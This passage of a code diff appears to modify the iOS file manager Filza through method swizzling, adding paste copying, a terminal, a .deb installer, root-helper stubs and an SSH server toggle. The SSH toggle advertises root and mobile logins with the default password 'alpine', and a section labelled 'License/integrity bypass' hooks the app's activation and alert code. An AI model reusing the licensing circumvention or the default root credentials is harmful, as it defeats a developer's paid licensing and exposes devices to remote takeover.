@selector(sharedInstance)) : nil; + NSArray *objects = [pasteboard respondsToSelector:NSSelectorFromString(@"resolveAndGetObjects")] + ? ((id(*)(id, SEL))objc_msgSend)(pasteboard, + NSSelectorFromString(@"resolveAndGetObjects")) : nil; + if (![objects isKindOfClass:NSArray.class] || objects.count == 0) { + ((void(*)(id, SEL))orig_copyFilesAndDirectoryFromPasteboard)(self, _cmd); + return; + } + + UIViewController *controller = self; + dispatch_async(pasteCopyQueue(), ^{ + NSMutableArray *errors = [NSMutableArray array]; + NSUInteger copied = 0; + for (id object in objects) { + if (![object isKindOfClass:NSDictionary.class]) continue; + NSString *source = localPathFromPasteboardValue(object[@"path"]); + NSString *name = [object[@"name"] isKindOfClass:NSString.class] + ? object[@"name"] : source.lastPathComponent; + NSString *destination = uniquePasteDestination(destinationDirectory, name); + NSError *error = nil; + if (!source || !destination) { + setPastePOSIXError(&error, EINVAL, @"resolve paste item", name ?: @"(unknown)"); + } else if (pasteDestinationIsInsideSource(source, destinationDirectory)) { + setPastePOSIXError(&error, EINVAL, @"paste directory into itself", source); + } else if (directCopyItem(source, destination, &error)) { + copied++; + NSLog(@"[ContainerPaste] copied %@ -> %@", source, destination); + } + if (error) { + [errors addObject:error]; + NSLog(@"[ContainerPaste] failed: %@", error.localizedDescription); + } + } + dispatch_async(dispatch_get_main_queue(), ^{ + SEL loadSelector = NSSelectorFromString(@"doLoadingPage"); + if ([controller respondsToSelector:loadSelector]) + ((void(*)(id, SEL))objc_msgSend)(controller, loadSelector); + showPasteFailure(controller, errors); + NSLog(@"[ContainerPaste] complete copied=%lu failed=%lu destination=%@", + (unsigned long)copied, (unsigned long)errors.count, destinationDirectory); + }); + }); +} + +static void runOptInPasteCopyProbe(void) { + if (!getenv("FILZA_PASTE_PROBE")) return; + NSString *source = [NSSearchPathForDirectoriesInDomains( + NSDocumentDirectory, NSUserDomainMask, YES).firstObject + stringByAppendingPathComponent:[NSString stringWithFormat: + @".filza-mod-paste-source-%d", getpid()]]; + NSString *destination = [[MCMFilzaVirtualRoot() + stringByAppendingPathComponent:@"App Groups/group.com.apple.notes"] + stringByAppendingPathComponent:[NSString stringWithFormat: + @".filza-mod-paste-destination-%d", getpid()]]; + NSData *payload = [NSUUID.UUID.UUIDString dataUsingEncoding:NSUTF8StringEncoding]; + BOOL sourceWritten = [payload writeToFile:source atomically:NO]; + NSError *error = nil; + BOOL copied = sourceWritten && directCopyItem(source, destination, &error); + NSData *roundTrip = copied ? [NSData dataWithContentsOfFile:destination] : nil; + BOOL verified = [roundTrip isEqualToData:payload]; + BOOL destinationRemoved = !copied || + [NSFileManager.defaultManager removeItemAtPath:destination error:nil]; + BOOL sourceRemoved = !sourceWritten || + [NSFileManager.defaultManager removeItemAtPath:source error:nil]; + NSLog(@"[ContainerPasteProbe] copied=%d verified=%d cleanup=%d error=%@", + copied, verified, destinationRemoved && sourceRemoved, error); +} + +#pragma mark - SSH settings switch + +static IMP orig_prefNumberOfSections; +static IMP orig_prefNumberOfRows; +static IMP orig_prefCellForRow; +static IMP orig_prefTitleForHeader; +static IMP orig_prefTitleForFooter; +static IMP orig_prefDidSelect; +static NSUInteger gPrefOriginalSections; +static BOOL gPrefSectionsKnown; +static BOOL gPrefLoggedSections; + +static NSArray *WQPrefSectionItems(id self) +{ + Ivar ivar = class_getInstanceVariable([self class], "_items"); + if (!ivar) ivar = class_getInstanceVariable([self class], "_sections"); + if (!ivar) return nil; + id value = object_getIvar(self, ivar); + return [value isKindOfClass:NSArray.class] ? value : nil; +} + +static NSString *WQPrefStringValue(id object, NSArray *keys) +{ + if (![object isKindOfClass:NSDictionary.class]) return nil; + for (NSString *key in keys) { + id value = ((NSDictionary *)object)[key]; + if ([value isKindOfClass:NSString.class] && [value length]) return value; + } + return nil; +} + +static NSUInteger WQPrefOriginalSections(id self, UITableView *tableView) +{ + if (!gPrefSectionsKnown && orig_prefNumberOfSections) { + gPrefOriginalSections = (NSUInteger)((NSInteger(*)(id, SEL, UITableView *)) + orig_prefNumberOfSections)(self, + NSSelectorFromString(@"numberOfSectionsInTableView:"), tableView); + gPrefSectionsKnown = YES; + } + return gPrefOriginalSections; +} + +/// Index of our SSH section. Filza's WebDAV settings are the section +/// containing the air-browser/WebDAV switch, so insert directly below it. +static NSUInteger WQPrefInsertionIndex(id self, UITableView *tableView) +{ + NSUInteger original = WQPrefOriginalSections(self, tableView); + NSArray *items = WQPrefSectionItems(self); + NSUInteger count = MIN(items.count ?: original, original); + + if (!gPrefLoggedSections && count) { + gPrefLoggedSections = YES; + for (NSUInteger i = 0; i < count; i++) + NSLog(@"[Prefs] section %lu header=%@ keys=%@", (unsigned long)i, + WQPrefStringValue(items[i], @[@"header", @"title"]), + [items[i] isKindOfClass:NSDictionary.class] + ? [items[i] allKeys] : @[]); + } + + for (NSUInteger i = 0; i < count; i++) { + NSString *header = nil; + if (orig_prefTitleForHeader) + header = ((NSString *(*)(id, SEL, UITableView *, NSInteger)) + orig_prefTitleForHeader)(self, + NSSelectorFromString(@"tableView:titleForHeaderInSection:"), + tableView, (NSInteger)i); + if (!header.length) + header = WQPrefStringValue(items[i], @[@"header", @"title"]); + if ([header.lowercaseString containsString:@"webdav"] || + [header.lowercaseString containsString:@"dav"]) + return i + 1; + + id rows = nil; + if ([items[i] isKindOfClass:NSDictionary.class]) + rows = ((NSDictionary *)items[i])[@"items"] ?: + ((NSDictionary *)items[i])[@"rows"]; + if ([rows isKindOfClass:NSArray.class]) { + for (id row in rows) { + NSString *title = WQPrefStringValue(row, + @[@"title", @"key", @"identifier"]); + if ([title.lowercaseString containsString:@"webdav"] || + [title.lowercaseString containsString:@"air browser"]) + return i + 1; + } + } + } + return original; +} + +static NSInteger WQPrefMapToOriginal(id self, UITableView *tableView, + NSInteger section) +{ + NSUInteger insertion = WQPrefInsertionIndex(self, tableView); + return (NSUInteger)section < insertion ? section : section - 1; +} + +static NSInteger hook_prefNumberOfSections(id self, SEL _cmd, UITableView *tableView) +{ + NSInteger value = orig_prefNumberOfSections + ? ((NSInteger(*)(id, SEL, UITableView *))orig_prefNumberOfSections)( + self, _cmd, tableView) : 0; + gPrefOriginalSections = (NSUInteger)value; + gPrefSectionsKnown = YES; + return value + 1; +} + +static NSInteger hook_prefNumberOfRows(id self, SEL _cmd, UITableView *tableView, + NSInteger section) +{ + if ((NSUInteger)section == WQPrefInsertionIndex(self, tableView)) return 1; + NSInteger originalSection = WQPrefMapToOriginal(self, tableView, section); + return orig_prefNumberOfRows + ? ((NSInteger(*)(id, SEL, UITableView *, NSInteger))orig_prefNumberOfRows)( + self, _cmd, tableView, originalSection) : 0; +} + +static void hook_sshToggled(id self, SEL _cmd, UISwitch *sender) +{ + BOOL enabled = sender.isOn; + [NSUserDefaults.standardUserDefaults setBool:enabled forKey:@"WQSSHEnabled"]; + if (enabled) { + NSString *error = nil; + if (!WQSSHServerStart(&error)) { + sender.on = NO; + [NSUserDefaults.standardUserDefaults setBool:NO forKey:@"WQSSHEnabled"]; + UIAlertController *alert = [UIAlertController + alertControllerWithTitle:@"SSH Server" + message:error ?: @"Unable to start SSH server" + preferredStyle:UIAlertControllerStyleAlert]; + [alert addAction:[UIAlertAction actionWithTitle:@"OK" + style:UIAlertActionStyleCancel handler:nil]]; + if ([self isKindOfClass:UIViewController.class]) + [(UIViewController *)self presentViewController:alert + animated:YES completion:nil]; + } + } else { + WQSSHServerStop(); + } +} + +static UITableViewCell *hook_prefCellForRow(id self, SEL _cmd, UITableView *tableView, + NSIndexPath *indexPath) +{ + if ((NSUInteger)indexPath.section == WQPrefInsertionIndex(self, tableView)) { + UITableViewCell *cell = [[UITableViewCell alloc] initWithStyle: + UITableViewCellStyleSubtitle reuseIdentifier:@"WQSSHCell"]; + cell.textLabel.text = @"SSH Server"; + cell.detailTextLabel.text = WQSSHServerIsRunning() + ? WQSSHServerURL() : @"mobile / root · password alpine"; + cell.selectionStyle = UITableViewCellSelectionStyleNone; + UISwitch *toggle = [[UISwitch alloc] initWithFrame:CGRectZero]; + toggle.on = WQSSHServerIsRunning() || + [NSUserDefaults.standardUserDefaults boolForKey:@"WQSSHEnabled"]; + [toggle addTarget:self action:NSSelectorFromString(@"wqSSHToggled:") + forControlEvents:UIControlEventValueChanged]; + cell.accessoryView = toggle; + return cell; + } + + NSIndexPath *originalIndexPath = [NSIndexPath indexPathForRow:indexPath.row + inSection:WQPrefMapToOriginal(self, tableView, indexPath.section)]; + return orig_prefCellForRow + ? ((UITableViewCell *(*)(id, SEL, UITableView *, NSIndexPath *)) + orig_prefCellForRow)(self, _cmd, tableView, originalIndexPath) : nil; +} + +static NSString *hook_prefTitleForHeader(id self, SEL _cmd, UITableView *tableView, + NSInteger section) +{ + if ((NSUInteger)section == WQPrefInsertionIndex(self, tableView)) + return @"SSH Server"; + return orig_prefTitleForHeader + ? ((NSString *(*)(id, SEL, UITableView *, NSInteger))orig_prefTitleForHeader)( + self, _cmd, tableView, + WQPrefMapToOriginal(self, tableView, section)) : nil; +} + +static NSString *hook_prefTitleForFooter(id self, SEL _cmd, UITableView *tableView, + NSInteger section) +{ + if ((NSUInteger)section == WQPrefInsertionIndex(self, tableView)) { + if (WQSSHServerIsRunning()) { + return [NSString stringWithFormat: + @"Running · %@ · users: mobile, root · password: alpine", + WQSSHServerURL()]; + } + return @"Enable SSH access for mobile and root (password alpine). " + @"Requires the developer build with libssh."; + } + return orig_prefTitleForFooter + ? ((NSString *(*)(id, SEL, UITableView *, NSInteger))orig_prefTitleForFooter)( + self, _cmd, tableView, + WQPrefMapToOriginal(self, tableView, section)) : nil; +} + +static void hook_prefDidSelect(id self, SEL _cmd, UITableView *tableView, + NSIndexPath *indexPath) +{ + if ((NSUInteger)indexPath.section == WQPrefInsertionIndex(self, tableView)) return; + if (orig_prefDidSelect) { + NSIndexPath *originalIndexPath = [NSIndexPath indexPathForRow:indexPath.row + inSection:WQPrefMapToOriginal(self, tableView, indexPath.section)]; + ((void(*)(id, SEL, UITableView *, NSIndexPath *))orig_prefDidSelect)( + self, _cmd, tableView, originalIndexPath); + } +} + +#pragma mark - Terminal support + +static IMP orig_forkACommandLegacy = NULL; +static IMP orig_forkACommandModern = NULL; +static IMP orig_forkRootShell = NULL; + +static NSString *WQTerminalShellPath(void) +{ + NSString *base = NSBundle.mainBundle.bundlePath; + NSArray *candidates = @[ + [base stringByAppendingPathComponent:@"bins/bin/fish"], + [base stringByAppendingPathComponent:@"bins/bin/bash"], + [base stringByAppendingPathComponent:@"bins/bin/sh"], + @"/bin/sh", + ]; + NSFileManager *fm = [NSFileManager defaultManager]; + for (NSString *candidate in candidates) { + BOOL exists = [fm fileExistsAtPath:candidate]; + BOOL executable = [fm isExecutableFileAtPath:candidate]; + NSLog(@"[Terminal] shell candidate %@ exists=%d executable=%d", + candidate, exists, executable); + if (exists) return candidate; + } + return @"/bin/sh"; +} + +static char **WQMakeEnvironment(NSString *shell) +{ + NSMutableDictionary *environment = + [NSProcessInfo.processInfo.environment mutableCopy]; + NSString *base = NSBundle.mainBundle.bundlePath; + environment[@"PATH"] = [NSString stringWithFormat: + @"%@/bins/bin:%@/bins/usr/bin:%@/usr/bin:/usr/bin:/bin:/usr/sbin:/sbin", + base, base, base]; + NSString *libraryPath = [base stringByAppendingPathComponent:@"usr/lib"]; + if ([[NSFileManager defaultManager] fileExistsAtPath:libraryPath]) { + environment[@"DYLD_LIBRARY_PATH"] = libraryPath; + environment[@"LD_LIBRARY_PATH"] = libraryPath; + } + environment[@"HOME"] = NSHomeDirectory(); + environment[@"TERM"] = @"xterm-256color"; + environment[@"TERM_PROGRAM"] = @"Filza"; + environment[@"SHELL"] = shell; + environment[@"LANG"] = @"en_US.UTF-8"; + environment[@"LC_ALL"] = @"en_US.UTF-8"; + environment[@"TMPDIR"] = NSTemporaryDirectory(); + + char **envp = calloc(environment.count + 1, sizeof(char *)); + NSUInteger index = 0; + for (NSString *key in environment) + envp[index++] = strdup([NSString stringWithFormat:@"%@=%@", + key, environment[key]].UTF8String); + envp[index] = NULL; + return envp; +} + +static void WQFreeEnvironment(char **envp) +{ + if (!envp) return; + for (NSUInteger index = 0; envp[index]; index++) free(envp[index]); + free(envp); +} + +// TerminalViewController and NewTerminalViewController both have a +// _superuser flag at ivar offset 8. Forcing it sends the launch through +// -[TGRootFileManager forkRootShell:chdir:], which we implement with +// posix_spawn + a real PTY instead of the unavailable root helper. +static void WQForceSandboxShell(id self) +{ + Ivar ivar = class_getInstanceVariable([self class], "_superuser"); + if (!ivar) return; + *(BOOL *)((char *)(__bridge void *)self + ivar_getOffset(ivar)) = YES; +} + +static void hook_forkACommandLegacy(id self, SEL _cmd) +{ + WQForceSandboxShell(self); + if (orig_forkACommandLegacy) + ((void(*)(id, SEL))orig_forkACommandLegacy)(self, _cmd); +} + +static void hook_forkACommandModern(id self, SEL _cmd) +{ + WQForceSandboxShell(self); + if (orig_forkACommandModern) + ((void(*)(id, SEL))orig_forkACommandModern)(self, _cmd); +} + +static int hook_forkRootShell(id self, SEL _cmd, int *pidOut, NSString *chdirPath) +{ + return WQTerminalSpawnShell(pidOut, chdirPath); +} + +static void WQTestTerminalSpawn(void) +{ + static BOOL ran; + if (ran) return; + ran = YES; + BOOL ready = WQTerminalPrepare(); + NSLog(@"[Terminal] ios_system prepare=%d", ready); +} + +#pragma mark - Filza installer + +static IMP orig_installerInstall; +static IMP orig_dpkgInfo; + +static BOOL hook_isDEBAvailable(id self, SEL _cmd) +{ + // Filza normally requires a jailbreak dpkg on disk. We provide an + // in-process implementation, so the .deb preview must be allowed. + return YES; +} + +static NSString *hook_dpkgInfo(id self, SEL _cmd, NSString *path) +{ + NSString *info = WQDebInfoText(path); + if (info.length) return info; + if (orig_dpkgInfo) + return ((NSString *(*)(id, SEL, NSString *))orig_dpkgInfo)(self, _cmd, path); + return @""; +} + +static NSString *WQInstallerFilePath(id installer) +{ + NSMutableArray *candidates = [NSMutableArray arrayWithObject:installer]; + if ([installer respondsToSelector:@selector(navigationController)]) { + id navigation = ((id(*)(id, SEL))objc_msgSend)(installer, + @selector(navigationController)); + if (navigation) [candidates addObject:navigation]; + } + for (id candidate in candidates) { + for (NSString *selectorName in @[@"fileItem", @"file", @"openWithFileItem"]) { + SEL selector = NSSelectorFromString(selectorName); + if (![candidate respondsToSelector:selector]) continue; + id item = ((id(*)(id, SEL))objc_msgSend)(candidate, selector); + if ([item respondsToSelector:NSSelectorFromString(@"filePath")]) { + NSString *path = ((id(*)(id, SEL))objc_msgSend)(item, + NSSelectorFromString(@"filePath")); + if ([path isKindOfClass:NSString.class] && + [path.pathExtension.lowercaseString isEqualToString:@"deb"] && + [NSFileManager.defaultManager fileExistsAtPath:path]) + return path; + } + } + } + id information = [installer valueForKey:@"_information"]; + if ([information isKindOfClass:NSString.class]) { + NSString *informationPath = (NSString *)information; + if ([informationPath.pathExtension.lowercaseString isEqualToString:@"deb"] && + [NSFileManager.defaultManager fileExistsAtPath:informationPath]) + return informationPath; + } + return nil; +} + +static void hook_installerInstall(id self, SEL _cmd, id sender) +{ + NSString *path = WQInstallerFilePath(self); + if (!path.length) { + if (orig_installerInstall) + ((void(*)(id, SEL, id))orig_installerInstall)(self, _cmd, sender); + return; + } + NSLog(@"[Installer] using in-process dpkg for %@", path); + dispatch_async(dispatch_get_global_queue(QOS_CLASS_USER_INITIATED, 0), ^{ + NSString *message = nil; + BOOL ok = WQInstallDebPackage(path, &message); + dispatch_async(dispatch_get_main_queue(), ^{ + UIAlertController *alert = [UIAlertController + alertControllerWithTitle:ok ? @"Package Installed" : @"Install Failed" + message:message ?: (ok ? @"Installed to Documents/.terminal/root" + : @"Unknown error") + preferredStyle:UIAlertControllerStyleAlert]; + [alert addAction:[UIAlertAction actionWithTitle:@"OK" + style:UIAlertActionStyleDefault handler:^(UIAlertAction *action) { + if ([self isKindOfClass:UIViewController.class]) + [(UIViewController *)self dismissViewControllerAnimated:YES + completion:nil]; + }]]; + if ([self isKindOfClass:UIViewController.class]) + [(UIViewController *)self presentViewController:alert + animated:YES completion:nil]; + }); + }); +} + +#pragma mark - Hook Installation + +static void installHooks(void) { + Class terminalLegacy = NSClassFromString(@"TerminalViewController"); + if (terminalLegacy) { + Method method = class_getInstanceMethod(terminalLegacy, + NSSelectorFromString(@"forkACommand")); + if (method) { + orig_forkACommandLegacy = method_getImplementation(method); + method_setImplementation(method, (IMP)hook_forkACommandLegacy); + } + } + Class terminalModern = NSClassFromString(@"NewTerminalViewController"); + if (terminalModern) { + Method method = class_getInstanceMethod(terminalModern, + NSSelectorFromString(@"forkACommand")); + if (method) { + orig_forkACommandModern = method_getImplementation(method); + method_setImplementation(method, (IMP)hook_forkACommandModern); + } + } + Class rootFileManager = NSClassFromString(@"TGRootFileManager"); + if (rootFileManager) { + Method method = class_getInstanceMethod(rootFileManager, + NSSelectorFromString(@"forkRootShell:chdir:")); + if (method) { + orig_forkRootShell = method_getImplementation(method); + method_setImplementation(method, (IMP)hook_forkRootShell); + } + } + + Class availability = NSClassFromString(@"TGAvailability"); + if (availability) { + Method method = class_getClassMethod(availability, + NSSelectorFromString(@"IsDEBAvailable")); + if (method) { + method_setImplementation(method, (IMP)hook_isDEBAvailable); + NSLog(@"[Installer] enabled built-in dpkg availability"); + } + } + + Class dpkgManagerClass = NSClassFromString(@"TGRootFileManager"); + if (dpkgManagerClass) { + Method method = class_getInstanceMethod(dpkgManagerClass, + NSSelectorFromString(@"dpkgInfo:")); + if (method) { + orig_dpkgInfo = method_getImplementation(method); + method_setImplementation(method, (IMP)hook_dpkgInfo); + NSLog(@"[Installer] enabled built-in dpkg info reader"); + } + } + + Class installerVC = NSClassFromString(@"InstallerViewController"); + if (installerVC) { + Method method = class_getInstanceMethod(installerVC, + NSSelectorFromString(@"install:")); + if (method) { + orig_installerInstall = method_getImplementation(method); + method_setImplementation(method, (IMP)hook_installerInstall); + NSLog(@"[Installer] hooked InstallerViewController install:"); + } + } + + Class preferencesVC = NSClassFromString(@"TGPreferencesTableViewController"); + if (preferencesVC) { + Method m; + m = class_getInstanceMethod(preferencesVC, + NSSelectorFromString(@"numberOfSectionsInTableView:")); + if (m) { + orig_prefNumberOfSections = method_getImplementation(m); + method_setImplementation(m, (IMP)hook_prefNumberOfSections); + } + m = class_getInstanceMethod(preferencesVC, + NSSelectorFromString(@"tableView:numberOfRowsInSection:")); + if (m) { + orig_prefNumberOfRows = method_getImplementation(m); + method_setImplementation(m, (IMP)hook_prefNumberOfRows); + } + m = class_getInstanceMethod(preferencesVC, + NSSelectorFromString(@"tableView:cellForRowAtIndexPath:")); + if (m) { + orig_prefCellForRow = method_getImplementation(m); + method_setImplementation(m, (IMP)hook_prefCellForRow); + } + m = class_getInstanceMethod(preferencesVC, + NSSelectorFromString(@"tableView:titleForHeaderInSection:")); + if (m) { + orig_prefTitleForHeader = method_getImplementation(m); + method_setImplementation(m, (IMP)hook_prefTitleForHeader); + } + m = class_getInstanceMethod(preferencesVC, + NSSelectorFromString(@"tableView:titleForFooterInSection:")); + if (m) { + orig_prefTitleForFooter = method_getImplementation(m); + method_setImplementation(m, (IMP)hook_prefTitleForFooter); + } + m = class_getInstanceMethod(preferencesVC, + NSSelectorFromString(@"tableView:didSelectRowAtIndexPath:")); + if (m) { + orig_prefDidSelect = method_getImplementation(m); + method_setImplementation(m, (IMP)hook_prefDidSelect); + } + class_addMethod(preferencesVC, NSSelectorFromString(@"wqSSHToggled:"), + (IMP)hook_sshToggled, "v@:@"); + } + + Class preferences = NSClassFromString(@"TGPreferences"); + if (preferences) { + Method defaultPath = class_getInstanceMethod(preferences, NSSelectorFromString(@"defaultPath")); + if (defaultPath) method_setImplementation(defaultPath, (IMP)hook_defaultPath); + + Method startBrowser = class_getInstanceMethod(preferences, + NSSelectorFromString(@"startAirBrowser")); + if (startBrowser) method_setImplementation(startBrowser, + (IMP)hook_startAirBrowser); + Method stopBrowser = class_getInstanceMethod(preferences, + NSSelectorFromString(@"stopAirBrowser")); + if (stopBrowser) method_setImplementation(stopBrowser, + (IMP)hook_stopAirBrowser); + Method serverStarted = class_getInstanceMethod(preferences, + NSSelectorFromString(@"isServerStarted")); + if (serverStarted) method_setImplementation(serverStarted, + (IMP)hook_isServerStarted); + Method connectionUrl = class_getInstanceMethod(preferences, + NSSelectorFromString(@"connectionUrl")); + if (connectionUrl) method_setImplementation(connectionUrl, + (IMP)hook_connectionUrl); + Method connectionUrlHost = class_getInstanceMethod(preferences, + NSSelectorFromString(@"connectionUrlWithHostname")); + if (connectionUrlHost) method_setImplementation(connectionUrlHost, + (IMP)hook_connectionUrlWithHostname); + Method trashDir = class_getInstanceMethod(preferences, + NSSelectorFromString(@"trashDir")); + if (trashDir) method_setImplementation(trashDir, (IMP)hook_trashDir); + } + + Class fileSystemController = NSClassFromString(@"TGFileSystemListViewController"); + if (fileSystemController) { + Method setCurrentPath = class_getInstanceMethod( + fileSystemController, NSSelectorFromString(@"setCurrentPath:")); + if (setCurrentPath) { + orig_fileSystemSetCurrentPath = method_getImplementation(setCurrentPath); + method_setImplementation(setCurrentPath, (IMP)hook_fileSystemSetCurrentPath); + } + Method viewWillAppear = class_getInstanceMethod( + fileSystemController, @selector(viewWillAppear:)); + if (viewWillAppear) { + orig_fileSystemViewWillAppear = method_getImplementation(viewWillAppear); + method_setImplementation(viewWillAppear, (IMP)hook_fileSystemViewWillAppear); + } + SEL editableSelector = NSSelectorFromString(@"updateEditableUI"); + Method updateEditableUI = class_getInstanceMethod(fileSystemController, + editableSelector); + if (updateEditableUI) { + orig_fileSystemUpdateEditableUI = method_getImplementation(updateEditableUI); + const char *types = method_getTypeEncoding(updateEditableUI); + // updateEditableUI is inherited from TGPageViewController in this + // Filza build. Add a subclass override rather than modifying every + // page controller in the application. + if (!class_addMethod(fileSystemController, editableSelector, + (IMP)hook_fileSystemUpdateEditableUI, types)) + method_setImplementation(updateEditableUI, + (IMP)hook_fileSystemUpdateEditableUI); + } + + SEL pageDeleteSelector = NSSelectorFromString(@"pageDeleteAction"); + Method pageDeleteAction = class_getInstanceMethod(fileSystemController, + pageDeleteSelector); + if (pageDeleteAction) { + orig_fileSystemPageDeleteAction = method_getImplementation(pageDeleteAction); + const char *types = method_getTypeEncoding(pageDeleteAction); + if (!class_addMethod(fileSystemController, pageDeleteSelector, + (IMP)hook_fileSystemPageDeleteAction, types)) + method_setImplementation(pageDeleteAction, + (IMP)hook_fileSystemPageDeleteAction); + } + + SEL deleteSelectedSelector = NSSelectorFromString(@"deleteSelectedItems"); + Method deleteSelected = class_getInstanceMethod(fileSystemController, + deleteSelectedSelector); + if (deleteSelected) { + orig_fileSystemDeleteSelectedItems = method_getImplementation(deleteSelected); + method_setImplementation(deleteSelected, + (IMP)hook_fileSystemDeleteSelectedItems); + } + + SEL askDeleteSelector = NSSelectorFromString(@"askDeleteItems:"); + Method askDelete = class_getInstanceMethod(fileSystemController, + askDeleteSelector); + Method parentAskDelete = class_getInstanceMethod( + class_getSuperclass(fileSystemController), askDeleteSelector); + if (askDelete && parentAskDelete) { + parentFileSystemAskDeleteItems = method_getImplementation(parentAskDelete); + method_setImplementation(askDelete, + (IMP)hook_fileSystemAskDeleteItems); + } + + SEL trashSelector = NSSelectorFromString( + @"doTrashSelectedIndexPaths:completion:"); + Method trashSelected = class_getInstanceMethod(fileSystemController, + trashSelector); + if (trashSelected) { + orig_fileSystemDoTrashSelectedItems = method_getImplementation(trashSelected); + method_setImplementation(trashSelected, + (IMP)hook_fileSystemDoTrashSelectedItems); + } + + SEL eraseSelector = NSSelectorFromString( + @"doEraseSelectedIndexPaths:completion:"); + Method eraseSelected = class_getInstanceMethod(fileSystemController, + eraseSelector); + if (eraseSelected) { + orig_fileSystemDoEraseSelectedItems = method_getImplementation(eraseSelected); + method_setImplementation(eraseSelected, + (IMP)hook_fileSystemDoEraseSelectedItems); + } + } + + Class pageController = NSClassFromString(@"TGPageViewController"); + if (pageController) { + SEL askDeleteSelector = NSSelectorFromString(@"askDeleteItems:"); + Method askDelete = class_getInstanceMethod(pageController, askDeleteSelector); + if (askDelete) { + orig_pageAskDeleteItems = method_getImplementation(askDelete); + if (!parentFileSystemAskDeleteItems) + parentFileSystemAskDeleteItems = orig_pageAskDeleteItems; + method_setImplementation(askDelete, + (IMP)hook_fileSystemAskDeleteItems); + } + + SEL trashSelector = NSSelectorFromString( + @"doTrashSelectedIndexPaths:completion:"); + Method trashSelected = class_getInstanceMethod(pageController, trashSelector); + if (trashSelected) { + orig_pageDoTrashSelectedItems = method_getImplementation(trashSelected); + method_setImplementation(trashSelected, + (IMP)hook_pageDoTrashSelectedItems); + } + + SEL eraseSelector = NSSelectorFromString( + @"doEraseSelectedIndexPaths:completion:"); + Method eraseSelected = class_getInstanceMethod(pageController, eraseSelector); + if (eraseSelected) { + orig_pageDoEraseSelectedItems = method_getImplementation(eraseSelected); + method_setImplementation(eraseSelected, + (IMP)hook_pageDoEraseSelectedItems); + } + + Method copyPaste = class_getInstanceMethod(pageController, + NSSelectorFromString(@"copyFilesAndDirectoryFromPasteboard")); + if (copyPaste) { + orig_copyFilesAndDirectoryFromPasteboard = method_getImplementation(copyPaste); + method_setImplementation(copyPaste, + (IMP)hook_copyFilesAndDirectoryFromPasteboard); + } + } + + Class rfm = NSClassFromString(@"TGRootFileManager"); + if (rfm) { + Class meta = object_getClass(rfm); + class_replaceMethod(meta, NSSelectorFromString(@"isRootHelperAvailable"), (IMP)hook_isRootHelperAvailable, "B@:"); + class_replaceMethod(rfm, NSSelectorFromString(@"spawnRootHelper"), (IMP)hook_spawnRootHelper, "i@:"); + class_replaceMethod(rfm, NSSelectorFromString(@"spawnRootHelperIfNeeds"), (IMP)hook_spawnRootHelperIfNeeds, "i@:"); + class_replaceMethod(rfm, NSSelectorFromString(@"respawnRootHelper"), (IMP)hook_respawnRootHelper, "i@:"); + class_replaceMethod(rfm, NSSelectorFromString(@"tryLoadFilzaHelper"), (IMP)hook_tryLoadFilzaHelper, "v@:"); + class_replaceMethod(rfm, NSSelectorFromString(@"createHelperConnectionIfNeeds"), (IMP)hook_createHelperConnectionIfNeeds, "v@:"); + class_replaceMethod(rfm, NSSelectorFromString(@"spawnRoot:args:pid:"), (IMP)hook_spawnRoot_args_pid, "i@:@@^i"); + class_replaceMethod(rfm, NSSelectorFromString(@"sendObjectWithReplySync:"), (IMP)hook_sendObjectWithReplySync, "@@:@"); + class_replaceMethod(rfm, NSSelectorFromString(@"sendObjectWithReplySync:fileDescriptor:"), (IMP)hook_sendObjectWithReplySync_fd, "@@:@^i"); + class_replaceMethod(rfm, NSSelectorFromString(@"sendObjectWithReplySync:fileDescriptor:logintty:"), (IMP)hook_sendObjectWithReplySync_fd_logintty, "@@:@^iB"); + class_replaceMethod(rfm, NSSelectorFromString(@"sendObjectNoReply:"), (IMP)hook_sendObjectNoReply, "v@:@"); + class_replaceMethod(rfm, NSSelectorFromString(@"sendObjectWithReplyAsync:queue:completion:"), (IMP)hook_sendObjectWithReplyAsync, "v@:@@?"); + + } + Class zipper = NSClassFromString(@"Zipper"); + if (zipper) { + Method m; + m = class_getInstanceMethod(zipper, NSSelectorFromString(@"ZipFiles:toFilePath:currentDirectory:")); + if (m) { orig_ZipFiles = method_getImplementation(m); method_setImplementation(m, (IMP)hook_ZipFiles); } + m = class_getInstanceMethod(zipper, NSSelectorFromString(@"unZipFile:toPath:currentDirectory:outMessage:")); + if (m) { orig_unZipFile = method_getImplementation(m); method_setImplementation(m, (IMP)hook_unZipFile); } + m = class_getInstanceMethod(zipper, NSSelectorFromString(@"unZipFile:toPath:currentDirectory:withPassword:outMessage:")); + if (m) { orig_unZipFilePassword = method_getImplementation(m); method_setImplementation(m, (IMP)hook_unZipFilePassword); } + } + + // License/integrity bypass + Class alertCtrl = NSClassFromString(@"TGAlertController"); + if (alertCtrl) { + Class alertMeta = object_getClass(alertCtrl); + Method m = class_getClassMethod(alertCtrl, NSSelectorFromString(@"showAlertWithTitle:text:cancelButton:otherButtons:completion:")); + if (m) { + orig_showAlert = method_getImplementation(m); + class_replaceMethod(alertMeta, NSSelectorFromString(@"showAlertWithTitle:text:cancelButton:otherButtons:completion:"), + (IMP)hook_showAlertWithTitle, "@@:@@@@@"); + } + } + Class activationVC = NSClassFromString(@"NewActivationViewController"); + if (activationVC) { + Method m = class_getInstanceMethod(activationVC, @selector(viewDidLoad)); + if (m) { + orig_activationViewDidLoad = method_getImplementation(m); + method_setImplementation(m, (IMP)hook_activationViewDidLoad); + } + } + + // Apps Manager fixes + Class lsWorkspace = NSClassFromString(@"LSApplicationWorkspace"); + if (lsWorkspace) { + Method m = class_getInstanceMethod(lsWorkspace, NSSelectorFromString(@"allApplications")); + if (m) { orig_allApplications = method_getImplementation(m); method_setImplementation(m, (IMP)hook_allApplications); } + } + Class appItem = NSClassFromString(@"ApplicationItem"); + if (appItem) { + Method m; + m = class_getInstanceMethod(appItem, NSSelectorFromString(@"setAppProxy:")); + if (m) { orig_setAppProxy = method_getImplementation(m); method_setImplementation(m, (IMP)hook_setAppProxy); } + } + Class appsVC = NSClassFromString(@"TGApplicationsViewController"); + if (appsVC) { + Method m = class_getInstanceMethod(appsVC, NSSelectorFromString(@"browserView:didSelectItemAtIndexPath:")); + if (m) { orig_didSelectItem = method_getImplementation(m); method_setImplementation(m, (IMP)hook_didSelectItem); } + } + + NSLog(@"[Tweak] All hooks installed"); +} + +#pragma mark - MCM container activation + +static void runWriteProbeAtDirectory(NSString *label, NSString *directory) { + NSString *name = [NSString stringWithFormat:@".filza-mod-write-probe-%d", getpid()]; + NSString *path = [directory stringByAppendingPathComponent:name]; + NSData *payload = [NSUUID.UUID.UUIDString 